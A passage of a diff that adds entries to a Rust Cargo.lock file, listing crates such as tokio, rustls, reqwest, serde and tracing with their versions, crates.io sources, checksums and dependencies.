+dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "616c294cf8d725c6afcd8f55abc17c56464ef6211f9ed59cccffe534129c77af" + +[[package]] +name = "icu_provider" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85962cf0ce02e1e0a629cc34e7ca3e373ce20dda4c4d7294bbd0bf1fdb59e614" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017" +dependencies = [ + "equivalent", + "hashbrown 0.16.1", + "serde", + "serde_core", +] + +[[package]] +name = "ipnet" +version = "2.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" + +[[package]] +name = "iri-string" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c91338f0783edbd6195decb37bae672fd3b165faffb89bf7b9e6942f8b1a731a" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itoa" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2" + +[[package]] +name = "js-sys" +version = "0.3.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b49715b7073f385ba4bc528e5747d02e66cb39c6146efb66b781f131f0fb399c" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libc" +version = "0.2.182" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6373607a59f0be73a39b6fe456b8192fcc3585f602af20751600e974dd455e77" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "lru-slab" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "matchit" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mio" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a69bcab0ad47271a0234d9422b131806bf3968021e5dc9328caf2d4cd58557fc" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "num_cpus" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "potential_utf" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b73949432f5e2a09657003c25bca5e19a0e9c84f8058ca374f49e0ebe605af77" +dependencies = [ + "zerovec", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quinn" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e20a958963c291dc322d98411f541009df2ced7b5a4f2bd52337638cfccf20" +dependencies = [ + "bytes", + "cfg_aliases", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "socket2", + "thiserror", + "tokio", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-proto" +version = "0.11.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1906b49b0c3bc04b5fe5d86a77925ae6524a19b816ae38ce1e426255f1d8a31" +dependencies = [ + "bytes", + "getrandom 0.3.4", + "lru-slab", + "rand", + "ring", + "rustc-hash", + "rustls", + "rustls-pki-types", + "slab", + "thiserror", + "tinyvec", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-udp" +version = "0.5.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "addec6a0dcad8a8d96a771f815f0eaf55f9d1805756410b39f5fa81332574cbd" +dependencies = [ + "cfg_aliases", + "libc", + "once_cell", + "socket2", + "tracing", + "windows-sys 0.60.2", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" +dependencies = [ + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64", + "bytes", + "futures-core", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-util", + "js-sys", + "log", + "percent-encoding", + "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-rustls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" +dependencies = [ + "web-time", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7df23109aa6c1567d1c575b9952556388da57401e4ace1d15f79eedad0d8f53" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "semver" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" +dependencies = [ + "itoa", + "serde", + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_yaml" +version = "0.9.34+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47" +dependencies = [ + "indexmap", + "itoa", + "ryu", + "serde", + "unsafe-libyaml", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86f4aa3ad99f2088c990dfa82d367e19cb29268ed67c574d10d0a4bfe71f07e0" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tempfile" +version = "3.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82a72c767771b47409d2345987fda8628641887d5466101319899796367354a0" +dependencies = [ + "fastrand", + "getrandom 0.4.2", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "tinystr" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42d3e9c45c09de15d06dd8acf5f4e0e399e85927b7f00711024eb7ae10fa4869" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa5fdc3bce6191a1dbc8c02d5c8bffcf557bafa17c124c5264a458f1b0613fa" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27ad5e34374e03cfffefc301becb44e9dc3c17584f414349ebe29ed26661822d" +dependencies = [ + "bytes", + "libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c55a2eff8b69ce66c84f85e1da1c233edc36ceb85a2058d11b0d6a3c7e7569c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ae9cec805b01e8fc3fd2fe289f89149a9b66dd16786abd8b19cfa7b48cb0098" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4e6559d53cc268e5031cd8429d05415bc4cb4aefc4aa5d6cc35fbf5b924a1f8" +dependencies = [ + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "iri-string", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-serde" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704b1aeb7be0d0a84fc9828cae51dab5970fee5088f83d1dd7ee6f6246fc6ff1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f30143827ddab0d256fd843b7a66d164e9f271cfa0dde49142c5ca0ca291f1e" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "serde", + "serde_json", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", + "tracing-serde", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "unsafe-libyaml" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.2+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6532f9a5c1ece3798cb1c2cfdba640b9b3ba884f5db45973a6f442510a87d38e" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9c5522b3a28661442748e09d40924dfb9ca614b21c00d3fd135720e48b67db8" +dependencies = [ + "cfg-if", + "futures-util", + "js-sys", + "once_cell", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18a2d50fcf105fb33bb15f00e7a77b772945a2ee45dcf454961fd843e74c18e6" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 